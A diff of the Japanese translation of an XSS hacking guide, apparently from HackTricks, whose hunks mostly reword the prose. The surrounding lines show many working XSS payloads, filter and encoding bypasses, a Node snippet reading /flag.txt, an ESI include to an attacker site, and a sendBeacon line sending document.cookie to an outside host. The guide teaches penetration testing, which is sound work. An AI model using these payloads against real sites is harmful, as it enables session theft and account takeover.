@ -73,10 +73,10 @@ XSSを悪用しようとする際に最初に知っておくべきことは、**
```
### Inside JavaScript code
この場合、あなたの入力はHTMLページの**`<script> [...] </script>`**タグ、`.js`ファイル、または**`javascript:`**プロトコルを使用した属性の間に反映されます:
この場合、あなたの入力はHTMLページの**`<script> [...] </script>`**タグ、`.js`ファイル、または**`javascript:`**プロトコルを使用した属性の間に反映されます:
* **`<script> [...] </script>`**タグの間に反映されている場合、たとえあなたの入力がどんな種類の引用符の中にあっても、`</script>`を注入してこのコンテキストから**脱出**しようとすることができます。これは、**ブラウザが最初にHTMLタグを解析**し、その後にコンテンツを解析するため、あなたが注入した`</script>`タグがHTMLコードの中にあることに気づかないからです。
* **JS文字列の中に反映されている**場合、最後のトリックが機能しない場合は、**文字列から脱出**し、**コードを実行**し、**JSコードを再構築**する必要があります(エラーがある場合は実行されません):
* **JS文字列の中**に反映されていて、最後のトリックが機能しない場合は、文字列を**終了**し、コードを**実行**し、JSコードを**再構築**する必要があります(エラーがある場合は実行されません):
* `'-alert(1)-'`
* `';-alert(1)//`
* `\';alert(1)//`
@ -89,7 +89,7 @@ XSSを悪用しようとする際に最初に知っておくべきことは、**
```
#### Javascript Hoisting
Javascript Hoistingは、**関数、変数、またはクラスを使用した後に宣言する機会を指し、未宣言の変数や関数を使用するXSSのシナリオを悪用することができます。**\
Javascript Hoistingは、**関数、変数、またはクラスを使用した後に宣言する機会を指し、未宣言の変数や関数を使用するXSSのシナリオを悪用できるようにします。**\
**詳細については、以下のページを確認してください:**
{% content-ref url="js-hoisting.md" %}
@ -106,7 +106,7 @@ Javascript Hoistingは、**関数、変数、またはクラスを使用した
もし脆弱であれば、**値を送信するだけでアラートをトリガーできる可能性があります: **`?callback=alert(1)`**。ただし、これらのエンドポイントは、**内容を検証して、文字、数字、ドット、アンダースコアのみを許可することが非常に一般的です(**`[\w\._]`**)。**
しかし、その制限があっても、いくつかのアクションを実行することはまだ可能です。これは、有効な文字を使用して**DOM内の任意の要素にアクセスできるためです**:
しかし、その制限があっても、いくつかのアクションを実行することは依然として可能です。これは、有効な文字を使用して**DOM内の任意の要素にアクセスできるためです**:
![](<../../.gitbook/assets/image (747).png>)
@ -156,7 +156,7 @@ parentElement
## 生のHTML内に注入
あなたの入力が**HTMLページ内に反映される**場合、またはこのコンテキストでHTMLコードをエスケープして注入できる場合、最初に行うべきことは、`<`を悪用して新しいタグを作成できるかどうかを確認することです: その**文字**を**反映**させて、**HTMLエンコード**されているか、**削除**されているか、または**変更なしで反映**されているかを確認してください。**最後のケースでのみ、このケースを悪用できるでしょう**。\
この場合も、[**Client Side Template Injection**](../client-side-template-injection-csti.md)**を念頭に置いてください。**\
この場合も、[**Client Side Template Injection**](../client-side-template-injection-csti.md)**を考慮してください。**\
_**注: HTMLコメントは、\*\*\*\***** ****`-->`**** ****または \*\*\*\*****`--!>`**で閉じることができます。_
この場合、ブラックリスト/ホワイトリストが使用されていない場合、次のようなペイロードを使用できます:
@ -166,11 +166,11 @@ _**注: HTMLコメントは、\*\*\*\***** ****`-->`**** ****または \*\*\*\**
<svg onload=alert('XSS')>
```
しかし、タグ/属性のブラック/ホワイトリストが使用されている場合、どのタグを作成できるかを**ブルートフォース**する必要があります。\
どのタグが許可されているかを**特定したら**、見つかった有効なタグ内の**属性/イベントをブルートフォース**して、どのようにコンテキストを攻撃できるかを確認する必要があります。
許可されているタグを**特定したら**、見つかった有効なタグ内の**属性/イベントをブルートフォース**して、どのようにコンテキストを攻撃できるかを確認する必要があります。
### タグ/イベントのブルートフォース
[**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)に移動し、_**タグをクリップボードにコピー**_をクリックします。次に、Burp intruderを使用してそれらすべて送信し、WAFによって悪意のあるものとして発見されなかったタグがあるかどうかを確認します。使用できるタグを特定したら、有効なタグを使用して**すべてのイベントをブルートフォース**できます同じウェブページで_**イベントをクリップボードにコピー**_をクリックし、前と同じ手順に従います
[**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)に移動し、_**タグをクリップボードにコピー**_をクリックします。次に、Burp intruderを使用してそれらすべて送信し、WAFによって悪意のあるものとして発見されなかったタグがあるかどうかを確認します。使用できるタグを特定したら、有効なタグを使用して**すべてのイベントをブルートフォース**できます同じウェブページで_**イベントをクリップボードにコピー**_をクリックし、前と同じ手順に従います
### カスタムタグ
@ -275,12 +275,12 @@ To check in which characters are decomposed check [here](https://www.compart.com
```
### 属性内
たとえ**属性から逃げることができなくても**`"`がエンコードまたは削除されている場合)、**どの属性**にあなたの値が反映されているかによって、**すべての値を制御しているのか、一部だけを制御しているのか**に応じて、それを悪用することができます。**例えば**、`onclick=`のようなイベントを制御している場合、クリックされたときに任意のコードを実行させることができます。\
属性から**逃げられない**場合`"`がエンコードまたは削除されている)、**どの属性**にあなたの値が反映されているかに応じて、**すべての値を制御しているか、一部だけを制御しているか**によって、それを悪用することができます。**例えば**、`onclick=`のようなイベントを制御している場合、クリックされたときに任意のコードを実行させることができます。\
もう一つの興味深い**例**は、`href`属性で、`javascript:`プロトコルを使用して任意のコードを実行できることです:**`href="javascript:alert(1)"`**
**HTMLエンコーディング/URLエンコードを使用したイベント内のバイパス**
HTMLタグ属性の値内の**HTMLエンコードされた文字**は**ランタイムでデコードされます**。したがって、次のようなものは有効です(ペイロードは太字で示されています):`<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">戻る</a>`
HTMLタグ属性の値内の**HTMLエンコードされた文字**は**実行時にデコードされます**。したがって、次のようなものが有効になります(ペイロードは太字で示されています):`<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">戻る</a>`
**あらゆる種類のHTMLエンコードが有効であることに注意してください**
```javascript
@ -333,7 +333,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
```
**これらのプロトコルを注入できる場所**
**一般的に** `javascript:` プロトコルは **`href` 属性を受け入れる任意のタグで使用でき**、**ほとんどの** `src` 属性を受け入れるタグで使用できます(ただし `<img>` は除く)
**一般的に** `javascript:` プロトコルは **`href` 属性を受け入れる任意のタグで使用でき**、**ほとんどの** `src` **属性を受け入れるタグで使用できます**(ただし `<img>` は除く)
```markup
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
@ -359,17 +359,17 @@ _**この場合、前のセクションのHTMLエンコーディングとUnicode
```javascript
<a href="javascript:var a='&apos;-alert(1)-&apos;'">
```
さらに、これらのケースには別の**素晴らしいトリック**があります:**`javascript:...`内の入力がURLエンコードされていても、実行される前にURLデコードされます。** したがって、**シングルクォート**を使用して**文字列**から**エスケープ**する必要がある場合、**URLエンコードされている**のを見たら、**それは重要ではありません。** 実行時に**シングルクォート**として**解釈されます。**
さらに、これらのケースには別の**素晴らしいトリック**があります:**`javascript:...`内の入力がURLエンコードされていても、実行される前にURLデコードされます。** したがって、**シングルクォート**を使用して**文字列**から**エスケープ**する必要がある場合、**URLエンコードされている**のを見ても、**問題ありません。** 実行時に**シングルクォート**として**解釈されます。**
```javascript
&apos;-alert(1)-&apos;
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
```
注意してください、もしあなたが**両方を使用しようとすると** `URLencode + HTMLencode` どの順序でも**ペイロード**をエンコードすると**動作しません**が、**ペイロード内で混ぜることができます**
注意してください、もしあなたが**両方**の`URLencode + HTMLencode`を任意の順序で**ペイロード**をエンコードするために使用しようとすると、それは**機能しません**が、**ペイロードの中で混ぜる**ことができます
**`javascript:`を使った16進数と8進数のエンコード**
**`javascript:`を使ったHexとOctalエンコード**
**Hex**と**Octal encode**を`iframe`の`src`属性内で(少なくとも)使用して**JSを実行するHTMLタグを宣言する**ことができます:
あなたは**Hex**と**Octalエンコード**を`iframe`の`src`属性の中で(少なくとも)使用して**JSを実行するHTMLタグを宣言**することができます:
```javascript
//Encoded: <svg onload=alert(1)>
// This WORKS
@ -381,11 +381,11 @@ _**この場合、前のセクションのHTMLエンコーディングとUnicode
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
```
### リバースタブナビゲーショ
### リバースタブナビン
```javascript
<a target="_blank" rel="opener"
```
もし任意の**`<a href=`**タグにURLを挿入でき、そのタグが**`target="_blank"`および`rel="opener"`**属性を含む場合は、**この動作を悪用するために以下のページを確認してください**
もし任意の**`<a href=`**タグにURLを挿入でき、そのタグが**`target="_blank"``rel="opener"`**属性を含む場合は、**この動作を悪用するために以下のページを確認してください**
{% content-ref url="../reverse-tab-nabbing.md" %}
[reverse-tab-nabbing.md](../reverse-tab-nabbing.md)
@ -393,8 +393,8 @@ _**この場合、前のセクションのHTMLエンコーディングとUnicode
### イベントハンドラーのバイパス
まず、役立つ**"on"イベントハンドラー**についてはこのページを確認してください[https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet))。\
このイベントハンドラーの作成を妨げるブラックリストがある場合は、以下のバイパスを試すことができます:
まず、このページ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)で役立つ**"on"イベントハンドラー**を確認してください。\
もしこのイベントハンドラーの作成を妨げるブラックリストがある場合は、以下のバイパスを試すことができます:
```javascript
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
@ -482,7 +482,7 @@ Android: %09 %20 %28 %2C %3B
### JSコード内
`<>`がサニタイズされている場合でも、**入力が**ある場所で**文字列をエスケープ**し、**任意のJSを実行**することができます。JSの構文を**修正する**ことが重要です。エラーがあると、JSコードは実行されません
`<>`がサニタイズされている場合でも、**文字列をエスケープ**し、**任意のJSを実行**することができます。JSの構文を**修正する**ことが重要です。エラーがあると、JSコードは実行されません
```
'-alert(document.domain)-'
';alert(document.domain)//
@ -490,8 +490,8 @@ Android: %09 %20 %28 %2C %3B
```
### テンプレートリテラル \`\`
文字列を構築するために、シングルクォートやダブルクォートの他に、JSは**バックティック** **` `` `**も受け入れます。これはテンプレートリテラルと呼ばれ、`${ ... }`構文を使用して**JS式を埋め込む**ことができます。\
したがって、バックティックを使用しているJS文字列の中に入力が**反映**されていることがわかった場合、`${ ... }`構文を悪用して**任意のJSコード**を実行することができます:
**文字列**を構築するために、シングルクォートやダブルクォートの他に、JSは**バックティック** **` `` `**も受け入れます。これはテンプレートリテラルと呼ばれ、`${ ... }`構文を使用して**JS式を埋め込む**ことができます。\
したがって、入力がバックティックを使用しているJS文字列内に**反映**されていることがわかった場合、`${ ... }`構文を悪用して**任意のJSコード**を実行できます:
これは次のように**悪用**できます:
```javascript
@ -743,13 +743,13 @@ top[8680439..toString(30)](1)
{% endcontent-ref %}
そこでは、**DOMの脆弱性とは何か、どのように引き起こされるのか、そしてどのように悪用されるのかについての詳細な説明があります**。\
また、**前述の投稿の最後には、** [**DOMクラッバー攻撃**](dom-xss.md#dom-clobbering)についての説明がありますので、忘れないでください。
また、**前述の投稿の最後には、** [**DOMクラッバー攻撃**](dom-xss.md#dom-clobbering)についての説明があることを忘れないでください。
### セルフXSSのアップグレード
### クッキーXSS
もしクッキーの中にペイロードを送信することでXSSをトリガーできる場合、これは通常セルフXSSです。しかし、もし**XSSに対して脆弱なサブドメイン**を見つけた場合、このXSSを悪用して全ドメインにクッキーを注入し、メインドメイン他のサブドメインクッキーXSSに対して脆弱なものでクッキーXSSをトリガーすることができます。これにはクッキー投げ攻撃を使用できます:
クッキー内にペイロードを送信することでXSSをトリガーできる場合、これは通常セルフXSSです。しかし、**XSSに対して脆弱なサブドメイン**を見つけた場合、このXSSを悪用して全ドメインにクッキーを注入し、メインドメインまたは他のサブドメインクッキーXSSに対して脆弱なものでクッキーXSSをトリガーすることができます。このために、クッキー投げ攻撃を使用できます:
{% content-ref url="../hacking-with-cookies/cookie-tossing.md" %}
[cookie-tossing.md](../hacking-with-cookies/cookie-tossing.md)
@ -759,11 +759,11 @@ top[8680439..toString(30)](1)
### 管理者にセッションを送信する
ユーザーが自分のプロフィールを管理者と共有できる場合、もしセルフXSSがユーザーのプロフィール内にあり、管理者がそれにアクセスすると、脆弱性がトリガーされます。
ユーザーが自分のプロフィールを管理者と共有できる場合、セルフXSSがユーザーのプロフィール内にあり、管理者がそれにアクセスすると、脆弱性がトリガーされます。
### セッションミラーリング
もしセルフXSSを見つけ、ウェブページに**管理者用のセッションミラーリング**がある場合、例えばクライアントが助けを求めることを許可し、管理者があなたを助けるためにあなたのセッションで見ているものを彼のセッションから見ることができます。
セルフXSSを見つけ、ウェブページに**管理者用のセッションミラーリング**がある場合、例えばクライアントが助けを求めることを許可し、管理者があなたを助けるために、彼は自分のセッションからあなたのセッションで見ているものを見ることになります。
あなたは**管理者にセルフXSSをトリガーさせて、彼のクッキー/セッションを盗む**ことができます。
@ -780,7 +780,7 @@ top[8680439..toString(30)](1)
### Ruby-On-Rails bypass
**RoRマスアサインメント**のため、HTMLに引用符が挿入され、その後引用制限がバイパスされ、追加のフィールドonfocusがタグ内に追加されることがあります。\
フォームの例([このレポートから](https://hackerone.com/reports/709336))、ペイロードを送信すると:
フォームの例([このレポートから](https://hackerone.com/reports/709336))、ペイロードを送信すると
```
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
```
@ -822,22 +822,22 @@ document['default'+'View'][`\u0061lert`](3)
```
### XSS with header injection in a 302 response
もしあなたが**302リダイレクトレスポンスにヘッダーを注入できる**ことがわかったら、**ブラウザに任意のJavaScriptを実行させる**ことを試みることができます。これは**簡単ではありません**。なぜなら、現代のブラウザはHTTPレスポンスステータスコードが302の場合、HTTPレスポンスボディを解釈しないため、単なるクロスサイトスクリプティングペイロードは無意味だからです。
もしあなたが **302リダイレクトレスポンスにヘッダーを注入できる** ことがわかったら、**ブラウザに任意のJavaScriptを実行させる**ことを試みることができます。これは **簡単ではありません**。なぜなら、現代のブラウザはHTTPレスポンスステータスコードが302の場合、HTTPレスポンスボディを解釈しないため、単なるクロスサイトスクリプティングペイロードは無意味だからです。
[**このレポート**](https://www.gremwell.com/firefox-xss-302)と[**こちら**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/)では、Locationヘッダー内でいくつかのプロトコルをテストし、それらのいずれかがブラウザにボディ内のXSSペイロードを検査して実行させることを許可するかどうかを確認する方法を読むことができます。\
[**このレポート**](https://www.gremwell.com/firefox-xss-302) [**こちら**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) では、Locationヘッダー内でいくつかのプロトコルをテストし、それらのいずれかがブラウザにボディ内のXSSペイロードを検査して実行させることを許可するかどうかを確認する方法を読むことができます。\
過去に知られているプロトコル: `mailto://`, `//x:1/`, `ws://`, `wss://`, _空のLocationヘッダー_, `resource://`.
### Only Letters, Numbers and Dots
もしあなたが**コールバック**を示すことができるなら、javascriptが**実行する**のはこれらの文字に制限されます。[**この投稿のこのセクションを読んで**](./#javascript-function)この動作を悪用する方法を見つけてください。
もしあなたが **コールバック** を示すことができるなら、javascriptが **実行する** 文字はそれらの文字に制限されます。[**この投稿のこのセクションを読んで**](./#javascript-function) この動作を悪用する方法を見つけてください。
### Valid `<script>` Content-Types to XSS
[**こちらから**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/))もしあなたが`application/octet-stream`のような**コンテンツタイプ**でスクリプトを読み込もうとすると、Chromeは次のエラーを投げます
[**こちらから**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/))もしあなたが `application/octet-stream` のような **content-type** でスクリプトを読み込もうとすると、Chromeは次のエラーを投げます
> Refused to execute script from [https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (application/octet-stream) is not executable, and strict MIME type checking is enabled.
Chromeが**読み込まれたスクリプト**を実行するのをサポートする唯一の**Content-Type**は、[https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc)のconst **`kSupportedJavascriptTypes`**内のものです。
Chromeが **読み込まれたスクリプト** を実行するのをサポートする唯一の **Content-Type** は、[https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc) の定数 **`kSupportedJavascriptTypes`** 内のものです。
```c
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
@ -897,7 +897,7 @@ import { partition } from "lodash";
```
この動作は、[**このレポート**](https://github.com/zwade/yaca/tree/master/solution)でライブラリをevalに再マッピングしてXSSを引き起こすために悪用されました。
* [**speculationrules**](https://github.com/WICG/nav-speculation)**:** この機能は主にプリレンダリングによって引き起こされるいくつかの問題を解決するためのものです。動作は次のようになります:
* [**speculationrules**](https://github.com/WICG/nav-speculation)**:** この機能は主にプリレンダリングによって引き起こされるいくつかの問題を解決するためのものです。動作は次のようになります:
```html
<script type="speculationrules">
{
@ -930,7 +930,7 @@ import { partition } from "lodash";
### xml Content Type
ページがtext/xmlコンテンツタイプを返場合、名前空間を指定して任意のJSを実行することが可能です
ページがtext/xmlコンテンツタイプを返している場合、名前空間を指定して任意のJSを実行することが可能です
```xml
<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
@ -983,16 +983,16 @@ constructor(source)()
// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
```
もし**すべてが未定義**であれば、信頼できないコードを実行する前に([**この書き込み**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solvesのように)、何もないところから有用なオブジェクトを生成して、任意の信頼できないコードの実行を悪用することが可能です:
もし**すべてが未定義**である場合、信頼できないコードを実行する前に([**この書き込み**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)のように)、何もないところから有用なオブジェクトを生成して、任意の信頼できないコードの実行を悪用することが可能です:
* import()を使用して
```javascript
// although import "fs" doesnt work, import('fs') does.
import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))
```
* `require`への間接アクセス
* `require`を間接的にアクセスする
[これによると](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) モジュールはNode.jsによって関数内にラップされます。
[これによると](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050)モジュールはNode.jsによって関数内にラップされます。
```javascript
(function (exports, require, module, __filename, __dirname) {
// our actual module code
@ -1117,7 +1117,7 @@ trigger()
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
```
{% hint style="info" %}
HTTPOnlyフラグがクッキーに設定されている場合、**JavaScriptからクッキーにアクセスすることはできません**。しかし、運が良ければ、ここに[この保護を回避するいくつかの方法があります](../hacking-with-cookies/#httponly)。
HTTPOnlyフラグがクッキーに設定されている場合、**JavaScriptからクッキーにアクセスすることはできません**。しかし、運が良ければ、ここに[この保護を回避するいくつかの方法](../hacking-with-cookies/#httponly)があります
{% endhint %}
### ページコンテンツを盗む
@ -1311,7 +1311,7 @@ document.getElementById("message").src += "&"+e.data;
```
### Regex - 隠れたコンテンツへのアクセス
[**このレポート**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay)から、いくつかの値がJSから消えても、異なるオブジェクトのJS属性内でそれらを見つけることが可能であることがわかります。例えば、REGEXの入力は、正規表現の入力値が削除された後でも見つけることができます
[**この解説**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay)から、いくつかの値がJSから消えても、異なるオブジェクトのJS属性内でそれらを見つけることが可能であることがわかります。例えば、REGEXの入力は、正規表現の入力値が削除された後でも見つけることができます
```javascript
// Do regex with flag
flag="CTF{FLAG}"
@ -1342,7 +1342,7 @@ console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightCo
### SSRFへのXSS
**キャッシュを使用しているサイトでXSSを取得しましたか** このペイロードを使用して**それをSSRFにアップグレード**してみてください:
**キャッシュを使用しているサイトでXSSを取得しましたか**このペイロードを使用して**それをSSRFにアップグレードしてみてください**
```python
<esi:include src="http://yoursite.com/capture" />
```
@ -1446,7 +1446,7 @@ Find **more SVG payloads in** [**https://github.com/allanlw/svg-cheatsheet**](ht
* [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
* [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_流暢なポーランド語の読み書きが必要です_).